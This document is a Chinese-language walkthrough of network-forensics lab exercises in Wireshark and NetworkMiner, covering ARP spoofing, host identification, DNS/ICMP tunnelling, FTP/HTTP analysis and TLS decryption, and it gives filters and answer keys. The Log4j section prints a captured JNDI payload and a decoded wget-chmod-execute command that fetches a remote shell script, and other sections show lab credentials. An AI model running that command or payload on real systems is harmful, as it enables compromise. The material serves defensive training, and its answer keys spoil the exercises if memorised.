到目前为止,很明显,以"b4"结尾的MAC地址拥有"192.168.1.25"IP地址,并针对一系列IP地址构造了可疑的ARP请求。它还声称拥有可能的网关地址。让我们关注其他协议,并在接下来的时间段内寻找这种异常的体现。

存在 HTTP 流量,IP 层一切正常,因此与我们之前的发现没有关联。让我们在数据包列表窗格中添加 MAC 地址列,以揭示 IP 地址背后的通信情况。

又发现一个异常!所有HTTP数据包的目标地址都是以"b4"结尾的MAC地址!显然,这里遭受了中间人攻击,攻击者就是MAC地址以"b4"结尾的主机。所有与"192.168.1.12"IP地址关联的流量都被转发到了这台恶意主机。在结束调查之前,让我们总结一下调查结果。
| 笔记 | 检测记录 | 发现 |
| IP地址与MAC地址匹配。 | 3. IP地址与MAC地址匹配。 | - MAC:00:0c:29:e2:18:b4 = IP:192.168.1.25 - MAC地址:50:78:b3:f3💿f4 = IP地址:192.1681.1 - MAC:00:0c:29:98:c7:a8 = IP:192.168.1.12 |
| 攻击者 | 攻击者利用ARP数据包制造噪声。 | - MAC:00:0c:29:e2:18:b4 = IP:192.168.1.25 |
| 路由器/网关 | 网关地址。 | - MAC地址:50:78:b3:f3💿f4 = IP地址:192.1681.1 |
| 受害者 | 攻击者嗅探了受害者的所有网络流量。 | - MAC地址:50:78:b3:f3💿f4 = IP地址:192.1681.12 |
从庞大的捕获文件中检测这些信息碎片极具挑战性。然而,在实际应用中,你不可能事先获得"定制数据"进行调查。因此,你需要具备分析师的思维模式、知识和工具技能,才能筛选和检测异常情况。
**注:**在交通分析中,总有多种解决方案可供选择。解决方案的类型和方法取决于分析人员的知识和技能水平以及可用的数据来源。
检测分块文件中的可疑活动很容易,也是学习如何关注细节的好方法。
现在,请使用该"~ /Desktop/exercise-pcaps/arp/Exercise"文件,将您的技能应用于单个捕获文件,并回答以下问题!
攻击者构造了多少个 ARP 请求?
筛选:arp.dst.hw_mac == 00:00:00:00:00:00 && string(arp.src.hw_mac) matches "(:b4)$"
python
284
攻击者收到了多少个HTTP数据包?
筛选:eth.src == 00:0c:29:e2:18:b4 && http
这里我自己筛选的时候是0个数据包显示出来,但答案是90个
python
90

嗅探到的用户名和密码条目有多少条?
找到这个路径作为筛选器

再拼个http协议即可
检查了 两个包发现有两个没有密码的

那答案就是6个
python
6
"Client986"的密码是什么?

python
clientnothere!
Client354 提供的评论是什么?
字符串全局找

python
Nice work!
主机识别:DHCP、NetBIOS 和 Kerberos
识别宿主
在调查入侵或恶意软件感染活动时,安全分析师除了需要进行 IP 地址与 MAC 地址匹配之外,还应该知道如何识别网络中的主机。最佳方法之一是识别网络中的主机和用户,以此确定调查的起点,并列出与恶意流量/活动相关的主机和用户。
通常,企业网络会使用预定义的命名模式来命名用户和主机。虽然这便于了解和跟踪资产清单,但也存在利弊。好处在于,可以通过名称轻松识别用户或主机。弊端在于,攻击者很容易复制这种命名模式,并在企业网络中进行攻击。虽然有多种解决方案可以避免此类攻击,但对于安全分析师而言,掌握主机和用户识别技能仍然至关重要。
可用于主机和用户身份识别的协议:
- 动态主机配置协议 ( DHCP ) 流量
- NetBIOS (NBNS) 流量
- Kerberos流量
DHCP分析
DHCP 协议,或 称 动态主机配置协议 ( DHCP ) ,****是 负责 管理****自动 IP地址和所需通信参数分配的技术。
DHCP故障调查简述:
| 笔记 | Wireshark过滤器 |
|---|---|
| 全球搜索。 | - dhcp或者bootp |
| 筛选正确的 DHCP 数据包选项对于找到感兴趣的事件至关重要。 - "DHCP 请求" 数据包包含主机名信息 - "DHCP ACK" 数据包表示已接受的请求 - "DHCP NAK" 数据包表示请求被拒绝。 由于协议本身的特性,只有"选项 53"(请求类型)具有预定义的静态值。您应该先筛选数据包类型,然后可以通过"应用为列"或使用"包含"和"匹配"等高级筛选器来筛选其余选项。 | - 请求:dhcp.option.dhcp == 3 - ACK:dhcp.option.dhcp == 5 - NAK:dhcp.option.dhcp == 6 |
| " DHCP请求" 选项,助您轻松获取所需资源: - 选项 12: 主机名。 - 选项 50: 请求的 IP 地址。 - 选项 51: 请求 IP 租期。 - **选项 61:**客户端 MAC 地址。 | - dhcp.option.hostname contains "keyword" |
| DHCP ACK选项,助您 轻松获取所需资源: - 选项 15: 域名。 - **选项 51:**分配 IP 租期。 | - dhcp.option.domain_name contains "keyword" |
| " DHCP NAK" 选项,用于获取唾手可得的成果: - **选项 56:**消息(拒绝详情/原因)。 | 由于信息可能因具体情况而异,建议阅读信息而非对其进行筛选。这样,分析人员才能通过了解事件背景,提出更可靠的假设或得出更准确的结论。 |
![]() |
NetBIOS (NBNS) 分析
NetBIOS ( 网络 基本 输入 /**输出系统)**是负责允许不同主机上的应用程序 相互通信的技术。
NBNS调查简述:
| 笔记 | Wireshark过滤器 |
|---|---|
| 全局搜索 | - nbns |
| "NBNS" 选项,助您轻松摘取果实: - 查询: 查询详情。 - 查询详情可能包含**"名称、生存时间 (TTL) 和 IP 地址详情"** | - nbns.name contains "keyword" |
![]() |
Kerberos 分析
Kerberos 是 Microsoft Windows 域的默认身份验证服务。它负责在不受信任的网络上验证两台或多台计算机之间的服务请求。其最终目标是安全地验证身份。
Kerberos调查简述:
| 笔记 | Wireshark过滤器 |
|---|---|
| 全球搜索。 | - kerberos |
| 用户账号查询: - CNameString: 用户名。 注意: 某些数据包可能在此字段中包含主机名信息。为避免混淆,请过滤掉以**""** 结尾的值。以""结尾的值是主机名,不以**"$"**结尾的值是用户名。 | - kerberos.CNameString contains "keyword" - kerberos.CNameString and !(kerberos.CNameString contains "$" ) |
| 利用" Kerberos "协议获取唾手可得的成果: - pvno: 协议版本。 - realm: 生成的票据的域名。 - sname: 生成的工单的服务和域名。 - 地址: 客户端 IP 地址和 NetBIOS 名称。 注意:"地址"信息仅在请求数据包中可用。 | - kerberos.pvno == 5 - kerberos.realm contains ".org" - kerberos.SNameString == "krbtg" |
![]() |
请回答以下问题
主机"Galaxy A30"的 MAC 地址是什么?
筛选:dhcp.option.hostname contains "Galaxy"

python
9a:81:41:cb:96:6c
"LIVALJM"工作站有多少个NetBIOS注册请求?
筛选:nbns && nbns.name contains "LIVALJM"

有一些不是注册请求,那我们还需要进一步筛选
选择下面这个flag作为附加筛选条件

最终筛选语法:(nbns && nbns.name contains "LIVALJM") && (nbns.flags.opcode == 5)
python
16
哪个主机请求了 IP 地址"172.16.13.85"?
筛选:dhcp.option.requested_ip_address == 172.16.13.85

python
Galaxy-A12
用户"u5"的IP地址是什么?
筛选:kerberos.CNameString contains "u5" and kerberos.as_req_element
(只筛选了请求部分,所以我们可以直接看源ip即可)
python
10[.]1[.]12[.]2
Kerberos 数据包中可用主机的主机名是什么?
筛选:kerberos.CNameString contains "$"
记住一句话:以 ""** 结尾的值是主机名,不以 **"" 结尾的值是用户名。
python
xp1$
隧道流量:DNS 和 ICMP
流量隧道(也称为 "端口转发") 是一种以安全的方式将数据/资源传输到网络段和区域的技术。它可用于"互联网到专用网络"和"专用网络到互联网"的流量/方向转换。该技术通过封装过程隐藏数据,使传输的数据看起来与普通网络无异,但实际上包含私有数据包,并安全地将其传输到最终目的地。
隧道技术提供匿名性和流量安全保障,因此被广泛应用于企业网络。然而,由于它提供了高水平的数据加密,攻击者会利用隧道技术绕过安全边界,使用诸如 ICMP 和DNS等日常流量中使用的标准可信协议。因此,对于安全分析师而言,能够识别 ICMP 和DNS异常至关重要。
ICMP分析
互联网控制消息协议 (ICMP) 旨在诊断和报告网络通信问题,广泛应用于错误报告和测试。由于它是一种可信的网络层协议,有时也会被用于拒绝服务 ( DoS ) 攻击;此外,攻击者还会利用它进行数据窃取和C2隧道攻击。
ICMP分析简述:
通常,ICMP隧道攻击是在恶意软件执行或漏洞利用后出现的异常情况。由于ICMP数据包可以传输额外的数据载荷,攻击者会利用这一部分来窃取数据并建立C2连接。这些数据可以是TCP、HTTP或SSH数据。ICMP协议虽然提供了携带额外数据的绝佳机会,但也存在一些缺点。大多数企业网络会阻止自定义数据包,或者要求管理员权限才能创建自定义ICMP数据包。
大量的 ICMP 流量或异常的数据包大小是 ICMP 隧道攻击的迹象。然而,攻击者可以创建与常规 ICMP 数据包大小(64 字节)相匹配的自定义数据包,因此检测这些隧道攻击活动仍然十分困难。但是,安全分析师应该了解正常和异常情况,以便发现可能的异常并将其上报进行进一步分析。
| 笔记 | Wireshark过滤器 |
|---|---|
| 全球搜索 | - icmp |
| "ICMP"选项,用于获取唾手可得的成果: - 数据包长度。 - ICMP 目标地址。 - 封装协议在 ICMP 有效载荷中签名。 | - data.len > 64 and icmp |
![]() |
DNS 分析
域名系统 (DNS) 旨在将 IP 域名转换为 IP 地址,它也被称为互联网的电话簿。由于它是网络服务的重要组成部分,因此被广泛使用和信任,但也正因如此,它常常被忽视。正因如此,攻击者会利用它进行数据窃取和 C2 活动。
DNS 分析简述:
与 ICMP 隧道类似,DNS 攻击是指恶意软件执行或漏洞利用后出现的异常情况。攻击者会创建(或已拥有)一个域名地址,并将其配置为 C2 通道。恶意软件或漏洞利用后执行的命令会向 C2 服务器发送 DNS 查询。然而,这些查询比默认的 DNS 查询更长,并且是针对子域名地址精心构造的。 不幸的是,这些子域名地址并非实际地址,而是经过编码的命令,如下所示:
"encoded-commands.maliciousdomain.com"
当此查询被路由到C2服务器时,服务器会将实际的恶意命令发送到目标主机。由于DNS查询是网络活动的自然组成部分,这些数据包有可能不被网络边界检测到。安全分析师应该知道如何分析DNS数据包的长度和目标地址,以便发现这些异常情况。
| 笔记 | Wireshark过滤器 |
|---|---|
| 全球搜索 | - dns |
| 利用" DNS "选项获取唾手可得的成果: - 查询长度。 - DNS地址中的异常和非常规名称。 - 包含编码子域名地址的长DNS地址。 - 已知模式如 dnscat 和 dns2tcp。 - 统计分析,例如针对特定目标的DNS请求异常量。 **!mdns:**禁用本地链路设备查询。 | - dns contains "dnscat" - dns.qry.name.len > 15 and !mdns |
![]() |
调查异常数据包。ICMP隧道使用的是哪种协议?
筛选:(data.len > 64) and (icmp contains "ssh" or icmp contains "ftp" or icmp contains "tcp" or icmp contains "http")

pytohn
ssh
调查异常数据包。接收异常DNS查询的可疑主域名地址是什么?
筛选:dns.qry.name.len > 40 and !mdns && dns.qry.name contains ".com"
这个长度可以根据你的调查慢慢调整即可,不一定说非要40
dataexfil[.]com

python
dataexfil[.]com
明文协议分析:FTP
调查明文协议跟踪数据听起来很简单,但当需要调查大型网络跟踪数据以进行事件分析和响应时,情况就大不相同了。正确的分析不仅仅是跟踪数据流和读取明文数据。对于安全分析师来说,重要的是从调查过程中创建统计数据和关键结果。正如 Wireshark 系列教程开头提到的,分析师应该具备完成这项工作所需的网络知识和工具技能。让我们用 Wireshark 模拟一次明文协议调查吧!
FTP分析
文件传输协议 ( FTP ) 的设计初衷是为了方便文件传输,因此它更注重简便性而非安全性。正因如此,在不安全的环境中使用此协议可能会导致以下安全问题:
- 中间人攻击
- 凭证窃取和未经授权的访问
- 网络钓鱼
- 恶意软件植入
- 数据泄露
FTP分析简述:
| 笔记 | Wireshark过滤器 |
|---|---|
| 全局搜索 | - ftp |
| 通过" FTP " 选项获取唾手可得的成果: - x1x 系列: 信息请求响应。 - x2x 系列: 连接消息。 - x3x 系列: 身份验证消息。 注意: "200"表示命令执行成功。 | --- |
| "x1x"系列选项,助您轻松摘取果实: - 211: 系统状态。 - 212: 目录状态。 - **213:**文件状态 | - ftp.response.code == 211 |
| "x2x"系列选项,助您轻松摘取果实: - 220: 服务已准备就绪。 - 227: 进入被动模式。 - 228: 长时间被动模式。 - **229:**扩展被动模式。 | - ftp.response.code == 227 |
| "x3x"系列选项,助您轻松摘取果实: - 230: 用户登录。 - 231: 用户注销。 - 331: 有效的用户名。 - 430: 用户名或密码无效 - **530:**无法登录,密码无效。 | - ftp.response.code == 230 |
| 使用" FTP "命令快速获取所需资源: - 用户: 用户名。 - 密码: PASS。 - CWD: 当前工作目录。 - **列表:**列表。 | - ftp.request.command == "USER" - ftp.request.command == "PASS" - ftp.request.arg == "password" |
| 高级用法示例:如何轻松获取唾手可得的成果: - 暴力破解信号: 列出失败的登录尝试。 - 暴力破解信号: 列出目标用户名。 - **密码喷洒信号:**列出静态密码的攻击目标。 | - ftp.response.code == 530 - (ftp.response.code == 530) and (ftp.response.arg contains "username") - (ftp.request.command == "PASS" ) and (ftp.request.arg == "password") |

请回答以下问题
总共有多少次登录错误尝试?
筛选:ftp.response.code == 530

python
737
"ftp"账户访问的文件大小是多少?
筛选:ftp.response.code == 213

python
39424
攻击者向FTP服务器上传了一个文档。文件名是什么?
筛选:ftp.request.command == "RETR"

python
resume.doc
攻击者试图通过添加特殊标志来更改上传文件的执行权限。攻击者使用的命令是什么?
筛选:ftp contains "CHMOD"
python
CHMOD 777
明文协议分析:HTTP
超文本传输协议 ( HTTP ) 是一种基于明文的请求-响应式客户端-服务器协议。它是请求/提供网页的标准网络活动类型,默认情况下不会被任何网络边界阻止。由于其未加密且是网络流量的主干,HTTP是流量分析中必须了解的协议之一。以下攻击可以通过HTTP分析检测到:
- 钓鱼页面
- 网络攻击
- 数据泄露
- 指挥控制流量(C2)
HTTP分析简述:
| 笔记 | Wireshark过滤器 |
|---|---|
| 全球搜索 注: HTTP2 是HTTP协议 的修订版,旨在提升性能和安全性。它支持二进制数据传输和请求/响应复用。 | - http - http2 |
| 利用"HTTP 请求方法" 快速获取所需资源: - 得到 - 邮政 - 请求:列出所有请求 | - http.request.method == "GET" - http.request.method == "POST" - http.request |
| 利用 " HTTP 响应状态码" 获取唾手可得的成果: - 200 OK: 请求成功。 - 301 永久重定向: 资源已移动到新的 URL/路径(永久)。 - 302 临时重定向: 资源已移动到新的 URL/路径(临时)。 - 400 错误请求: 服务器无法理解该请求。 - 401 未授权: URL 需要授权(登录等)。 - 403 禁止访问: 无权访问所请求的 URL。 - 404 Not Found: 服务器找不到请求的 URL。 - 405 方法不允许: 使用的方法不合适或已被阻止。 - 408 请求超时: 请求等待时间超过服务器等待时间。 - 500 内部服务器错误: 请求未完成,出现意外错误。 - 503 服务不可用: 请求未完成,服务器或服务已关闭。 | - http.response.code == 200 - http.response.code == 401 - http.response.code == 403 - http.response.code == 404 - http.response.code == 405 - http.response.code == 503 |
| 利用" HTTP 参数"快速获取所需信息: - 用户代理: 用于识别 Web 服务器应用程序的浏览器和操作系统。 - 请求 URI: 指向服务器上请求的资源。 - 完整 URI: 完整的 URI 信息。 ***URI:**统一资源标识符。 | - http.user_agent contains "nmap" - http.request.uri contains "admin" - http.request.full_uri contains "admin" |
| 利用" HTTP参数"快速获取所需信息: - 服务器: 服务器服务名称。 - 主机: 服务器的主机名 - 连接: 连接状态。 - 基于行的文本数据: 服务器提供的明文数据。 - **HTML表单URL编码:**网页表单信息。 | - http.server contains "apache" - http.host contains "keyword" - http.host == "keyword" - http.connection == "Keep-Alive" - data-text-lines contains "keyword" |
用户代理分析
由于攻击者会使用复杂的技术来实施攻击,他们会试图通过已知且可信的协议留下与正常流量相似的痕迹。对于安全分析师而言,识别数据包中的异常信号至关重要。"user-agent"字段是发现HTTP流量异常的重要资源之一。在某些情况下,攻击者会成功修改user-agent数据,使其看起来非常自然。安全分析师不能仅仅依赖user-agent字段来发现异常。即使user-agent看起来很正常,也永远不要将其加入白名单。基于user-agent的异常/威胁检测/搜寻是需要检查的额外数据来源,在发现明显异常时非常有用。如果您对某个值不确定,可以进行网络搜索,使用默认的正常user-agent信息来验证您的发现(例如,参考示例网站:https://developers.whatismybrowser.com/useragents/explore/)。
用户代理分析简述:
| 笔记 | Wireshark过滤器 |
|---|---|
| 全球搜索。 | - http.user_agent |
| 旨在获取唾手可得成果的研究成果: - 短时间内来自同一主机的不同用户代理信息。 - 非标准和自定义用户代理信息。 - 拼写略有不同。("Mozilla"与"Mozlilla"或"Mozlila"并不相同) - 用户代理字段中包含 Nmap、Nikto、Wfuzz 和 sqlmap 等审计工具的信息。 - 用户代理字段中的有效载荷数据。 | - (http.user_agent contains "sqlmap") or (http.user_agent contains "Nmap") or (http.user_agent contains "Wfuzz") or (http.user_agent contains "Nikto") |
![]() |
Log4j 分析
一次全面的调查始于对即将追踪的威胁和异常情况进行预先研究。在启动 Wireshark 之前,让我们先回顾一下关于"Log4j"攻击的已知信息。
Log4j漏洞分析简述:
| 笔记 | Wireshark 过滤器 |
|---|---|
| 旨在获取唾手可得成果的研究成果 : - 攻击始于一个"POST"请求。 - 已知存在明文模式:" jndi:ldap "和" Exploit.class "。 | - http.request.method == "POST" - (ip contains "jndi") or ( ip contains "Exploit") - (frame contains "jndi") or ( frame contains "Exploit") - (http.user_agent contains "$") or (http.user_agent contains "==") |
![]() |
请回答以下问题
调查用户代理。异常的"用户代理"类型有多少种?
筛选:http.user_agent

慢慢翻找,实际上有6种不是常规的ua头

python
6
用户代理字段中拼写略有不同的数据包编号是多少?
注意看是Mozli 和 Mozil 的区别

python
52
找到"Log4j"攻击的起始阶段。数据包编号是多少?
筛选:(http.user_agent contains "$") or (http.user_agent contains "==")

python
444
找到"Log4j"攻击的起始阶段并解码base64命令。攻击者联系的IP地址是什么?
复制那段base值解码${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}

wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh
python
62[.]210[.]130[.]250
加密协议分析:解密 HTTPS
在调查网络流量时,分析人员经常会遇到加密流量。这是因为为了增强安全性,防止欺骗、嗅探和拦截攻击,网络流量通常会使用超文本传输安全协议 (HTTPS)。HTTPS 使用TLS协议对通信进行加密,因此如果没有加密/解密密钥对,就无法解密流量并查看传输的数据。由于该协议为传输敏感数据提供了良好的安全性,攻击者和恶意网站也会使用 HTTPS。因此,安全分析人员应该了解如何使用密钥文件来解密加密流量并调查流量活动。
由于HTTP流量经过加密,数据包会以不同的颜色显示。此外,协议和信息详情(实际 URL 地址和服务器返回的数据)也不会完全可见。下图显示了使用TLS协议加密的HTTP数据包。
关于HTTPS的补充信息:
| 笔记 | Wireshark过滤器 |
|---|---|
| 利用"HTTPS 参数" 轻松获取成果: - 请求: 列出所有请求 - TLS: 全局TLS搜索 - TLS客户端请求 - TLS服务器响应 - 本地简单服务发现协议 (SSDP) 注: SSDP 是一种网络协议,用于提供网络服务的通告和发现。 | - http.request - tls - tls.handshake.type == 1 - tls.handshake.type == 2 - ssdp |
![]() |
|
| 与 TCP 三次握手过程类似,TLS 协议也有自己的握手过程。前两个步骤包含"客户端 Hello"和"服务器 Hello"消息。提供的过滤器会显示捕获文件中的初始 Hello 数据包。这些过滤器有助于识别参与 TLS 握手的 IP 地址。 |
- Client Hello:
(http.request or tls.handshake.type == 1) and !(ssdp) - Server Hello:
(http.request or tls.handshake.type == 2) and !(ssdp)


加密密钥日志文件是一个文本文件,其中包含用于解密加密流量会话的唯一密钥对。当与启用 SSL/ TLS的网页建立连接时,这些密钥对会自动创建(每个会话一个密钥对)。由于这些过程都在浏览器中完成,因此您需要配置系统并使用合适的浏览器(Chrome 和 Firefox 均支持此功能)将这些值保存为密钥日志文件。为此,您需要设置一个环境变量并创建 SSLKEYLOGFILE 文件,浏览器会在您浏览网页时将密钥转储到此文件中。SSL/ TLS密钥对在连接时为每个会话创建,因此在流量捕获期间转储密钥至关重要。否则,将无法创建/生成合适的密钥日志文件来解密捕获的流量。您可以使用"右键单击"菜单或 "编辑"->"首选项"->"协议"-> "TLS " 菜单来添加/删除密钥日志文件。
使用"右键单击"菜单添加关键日志文件:

使用"编辑 --> 首选项 --> 协议 --> TLS " 添加关键日志文件

查看包含/不包含关键日志文件的流量:

上图显示,使用密钥日志文件后,流量详情可见。请注意,"数据包详情"和"字节"窗格以不同格式提供数据以供分析。解密流量后,即可查看解压缩后的头部信息和 HTTP/2 数据包详情。根据数据包详情的不同,您还可以获得以下数据格式:
- 框架
- 已解密的TLS
- 解压缩后的头部
- 重新组装的 TCP
- 重新组装的 SSL
请回答以下问题
发送到"accounts.google.com"的"Client Hello"消息的帧号是多少?
筛选:(http.request or tls.handshake.type == 1) and !(ssdp)

python
16
使用"KeysLogFile.txt"文件解密流量。HTTP2数据包的数量是多少?
"Edit → Preferences → Protocols → TLS"


python
115
请转到第 322 帧。HTTP2 数据包的授权头部是什么?

python
safebrowsing[.]googleapis[.]com
保存一个叫flag.txt请求的数据包即可

打开文件

python
FLAG{THM-PACKETMASTER}
奖励:寻找明文凭证!
到目前为止,我们讨论了如何检查数据包是否存在特定情况并发现异常。正如第一间会议室提到的,Wireshark 并非入侵检测系统 (IDS),但它会在专家信息中针对某些情况提供建议。然而,有时异常流量会伪装成正常流量,这使得检测变得更加困难。例如,在明文凭据攻击案例中,很难发现多个凭据输入,也难以判断这是暴力破解攻击还是普通用户误输了凭据。
由于所有信息都以数据包的形式呈现,因此很难一眼看出多个用户名/密码条目。如果分析人员能够以列表形式查看凭据条目,检测时间将会缩短。Wireshark 具备这样的功能,可以帮助分析人员查找明文凭据条目。
部分 Wireshark 数据包分析器(FTP、HTTP、IMAP、POP 和SMTP)可以提取捕获文件中的明文密码。您可以使用 "工具 --> 凭据" 菜单查看检测到的凭据。此功能仅适用于特定版本的 Wireshark(v3.1 及更高版本)。由于该功能仅适用于特定协议,因此建议进行手动检查,不要完全依赖此功能来判断流量中是否存在明文凭据。
使用该功能后,它会打开一个新窗口,显示检测到的凭据。窗口会显示数据包编号、协议、用户名和其他信息。此窗口可点击;点击数据包编号将选择包含密码的数据包,点击用户名将选择包含用户名信息的数据包。"其他信息"部分会提示包含用户名的数据包编号。

这个工具太屌了!
请回答以下问题
使用"HTTP 基本身份验证"时,凭据的数据包编号是多少?

python
237
提交"空密码"的数据包编号是多少?

python
170
额外福利:可执行的结果!
您已调查了网络流量,检测到了异常情况,并创建了笔记以供进一步调查。接下来该做什么?并非所有案例调查都由团队协作完成。作为安全分析师,有些情况下您需要自行发现异常、确定源头并采取行动。
Wireshark 的功能不仅限于数据包细节;它还可以帮助您创建防火墙规则,只需点击几下即可实施。您可以使用 "工具 --> 防火墙ACL规则"菜单创建防火墙规则 。使用此功能后,它将打开一个新窗口,并提供一系列规则(基于 IP、端口和 MAC 地址),以满足不同的需求。请注意,这些规则是为在外部防火墙接口上实施而生成的。
目前,Wireshark 可以创建以下规则:
- Netfilter(iptables)
- Cisco IOS(标准版/扩展版)
- IP过滤器(ipfilter)
- IP防火墙(ipfw)
- 数据包过滤器(pf)
- Windows防火墙(netsh 新/旧格式)

请回答以下问题
选择数据包编号99,然后点开"IPFirewall (ipfw)",找到这条"拒绝deny源IPv4地址"的规则,看他写的是什么?

python
add deny ip from 10.121.70.151 to any in
选择数据包编号 23,然后点开"IPFirewall"规则,看下允许allow目标 MAC 地址的规则是什么?

python
add allow MAC 00:d0:59:aa:af:80 any in
结论
Wireshark 是开展网络安全调查的优秀工具。然而,它不足以阻止威胁。安全分析师应具备入侵检测系统 (IDS) /入侵防御系统(IPS) 的知识以及其他工具的使用技能,才能检测和预防异常及威胁。随着攻击手段日益复杂,使用多种工具和检测策略已成为必要。
网络矿工
学习如何使用 NetworkMiner 分析记录的流量文件并进行网络取证活动。
介绍

NetworkMiner是一款开源的流量嗅探器、PCAP处理程序和协议分析器,由Netresec开发并持续维护。
官方描述:
NetworkMiner 是一款适用于 Windows 的开源网络取证分析工具 ( NFAT )(也支持Linux、Mac OS X 和 FreeBSD)。NetworkMiner 可用作被动式网络嗅探器/数据包捕获工具,无需在网络上投放任何流量即可检测操作系统、会话、主机名、开放端口等信息。NetworkMiner 还可以解析PCAP文件以进行离线分析,并从PCAP文件中重新生成/组装传输的文件和证书。
自2007年首次发布以来,NetworkMiner已成为事件响应团队和执法部门的热门工具。如今,世界各地的公司和组织都在使用NetworkMiner。
本房间旨在提供网络取证的一般概述,并使用 NetworkMiner 来调查捕获的流量。
- 学习目标
- 了解 NetworkMiner 是什么
- 学习 NetworkMiner 的基础知识
- 浏览不同的信息标签页,高效提取信息。
NetworkMiner 在取证中的应用

网络挖掘在取证中的应用
网络取证的最终目标是提供足够的信息,以便根据网络流量检测恶意活动、安全漏洞和网络异常。NetworkMiner 是一个强大的辅助工具,它可以快速提供有用的线索,指导您从何处着手,具体包括:
- 捕获主机的上下文信息,例如其 IP 地址和 MAC 地址、主机名或操作系统信息
- 潜在攻击指标或异常情况列表,例如流量激增或端口扫描
- 用于执行潜在攻击的工具或工具包,例如Nmap。
支持的数据类型
网络取证中主要调查三种数据类型:
- 实时路况
- 流量捕获
- 日志文件
NetworkMiner 能够处理数据包捕获文件 ( PCAP ) 和实时流量。因此,在本讨论中,我们将重点关注实时流量和捕获的流量。
NetworkMiner是什么?
NetworkMiner 简介
| 能力 | 描述 |
|---|---|
| 交通嗅探 | 它可以拦截网络流量,嗅探网络流量,并收集和记录通过网络的数据包。 |
| 解析PCAP文件 | 它可以解析pcap文件并详细显示数据包的内容。 |
| 方案分析 | 它可以从解析后的pcap文件中识别所使用的协议。 |
| 操作系统指纹识别 | 它可以通过读取pcap文件来识别所使用的操作系统。此功能高度依赖于 Satori 和 p0f。 |
| 文件提取 | 它可以从解析后的pcap文件中提取图像、HTML 文件和电子邮件。 |
| 凭证窃取 | 它可以从解析后的pcap文件中提取凭据。 |
| 明文关键词解析 | 它可以从解析后的pcap文件中提取明文关键字和字符串。 |
我们在这个房间里使用的是 NetworkMiner 免费版,但专业版的功能要丰富得多。您可以在这里:https://www.netresec.com/?page=NetworkMiner查看免费版和专业版之间的区别 。
操作模式
主要有两种运行模式:
- 嗅探模式:虽然它具备嗅探功能,但并非设计用于作为嗅探器使用。嗅探功能仅在 Windows 系统上可用。不过,其他功能在 Windows 和Linux 操作系统上均可用。根据经验,嗅探功能的可靠性不如其他功能。因此,我们建议不要将此工具用作主要嗅探器。即使该工具的官方描述中提到它是"网络取证分析工具",但它也可以用作"嗅探器"。换句话说,它是一款网络取证分析工具,虽然具备嗅探功能,但它并非像 Wireshark 和 tcpdump 那样的专用嗅探器。
- 数据包解析/处理:NetworkMiner 可以解析流量捕获数据,以便快速概览和了解所分析的捕获数据。建议主要使用此操作模式,以便在深入调查之前先获取"唾手可得"的信息。
优点和缺点
如前文所述,NetworkMiner 主要用于获取网络概览。在开始分析流量数据之前,我们先来看看 NetworkMiner 的优缺点。
优点
- 操作系统指纹识别
- 轻松提取文件
- 凭证窃取
- 明文关键词解析
- 总体概述
缺点
- 在主动嗅探中不起作用
- 不适用于大型pcap分析
- 有限过滤
- 并非为人工交通调查而设计
Wireshark 和 NetworkMiner 的区别
NetworkMiner 和 Wireshark 的基本功能相似,但用途不同。虽然主要功能相同,但某些功能在特定应用场景下更为强大。
最佳实践是记录流量以进行离线分析,使用 NetworkMiner 快速查看pcap 文件,然后使用 Wireshark 进行深入调查。
| 特征 | 网络矿工 | Wireshark |
|---|---|---|
| 目的 | 快速概览、交通地图和数据提取 | 深入分析 |
| 图形用户界面 | ✅ | ✅ |
| 嗅闻 | ✅ | ✅ |
| 处理PCAP | ✅ | ✅ |
| 操作系统指纹识别 | ✅ | ❌ |
| 参数/关键词发现 | ✅ | 手动的 |
| 凭证发现 | ✅ | ✅ |
| 文件提取 | ✅ | ✅ |
| 筛选选项 | 有限的 | ✅ |
| 数据包解码 | 有限的 | ✅ |
| 方案分析 | ❌ | ✅ |
| 有效载荷分析 | ❌ | ✅ |
| 统计分析 | ❌ | ✅ |
| 跨平台支持 | ✅ | ✅ |
| 主机分类 | ✅ | ❌ |
| 易于管理 | ✅ | ✅ |
工具概述 1
首页
这是 NetworkMiner 的首页。打开应用程序后,就会加载此屏幕。
文件菜单
文件菜单可帮助您加载Pcap文件或通过 IP 接收Pcap 文件。您也可以拖放Pcap文件。NetworkMiner 也支持通过 IP 接收 Pcap 文件。本房间建议将 NetworkMiner 作为初步调查工具,用于获取易于获取的信息和流量概览。因此,本房间将跳过通过 IP 接收 Pcap 文件的讲解。您可以点击此处:https://www.netresec.com/?page=Blog&month=2011-09&post=Pcap-over-IP-in-NetworkMiner 和 此处:http://www.gavinhollinger.com/2016/10/pcap-over-ip-to-networkminer.html阅读有关通过 IP 接收Pcap 文件的更多信息。

工具菜单
工具菜单可帮助您清除仪表板并删除已捕获的数据。

帮助菜单
帮助菜单提供有关更新和当前版本的信息。

机箱面板
案例面板显示已调查的pcap文件列表。您可以从此面板重新加载/刷新、查看元数据详细信息以及删除已加载的文件。

查看已加载文件的元数据
下图展示了如何查看已加载文件的元数据

主机
"主机"菜单显示pcap文件中已识别的主机。本部分提供以下信息:
- IP地址
- MAC地址
- 操作系统类型
- 开放端口
- 已发送/已接收数据包
- 传入/传出会话
- 房东详情
操作系统指纹识别使用 Satori GitHub 仓库和 p0f,MAC 地址数据库使用 mac-ages GitHub 仓库。
您可以使用排序菜单对已识别的主机进行排序。您还可以更改主机的颜色。某些功能(例如开源情报查找)仅在高级版中可用。右键菜单还可以帮助您复制选定的值。

会话
会话菜单显示pcap文件中检测到的会话。本部分提供以下信息:
- 车架号
- 客户端和服务器地址
- 始发港和目的港
- 协议
- 开始时间

您可以使用筛选栏在框架内搜索关键词。也可以筛选会话菜单的特定列。此菜单接受四种类型的输入;
- "精确短语"
- "AllWords"
- "AnyWord"
- 正则表达式
DNS
DNS菜单显示DNS查询的详细信息。本部分提供以下信息:
- 车架号
- 时间戳
- 客户端和服务器
- 始发港和目的港
- IP TTL
- DNS时间
- 交易 ID 和类型
- DNS查询和应答
- Alexa排名前100万
部分功能(例如 Alexa Top 1M)仅在高级版中可用。搜索栏也在此版本中可用。

证书
凭据菜单显示从已分析的 pcap 文件中提取的凭据和密码哈希 值 。您可以使用 Hashcat (GitHub)和 John the Ripper (GitHub)解密提取的凭据。NetworkMiner 可以提取的凭据包括:
- Kerberos哈希
- NTLM哈希
- RDP cookie
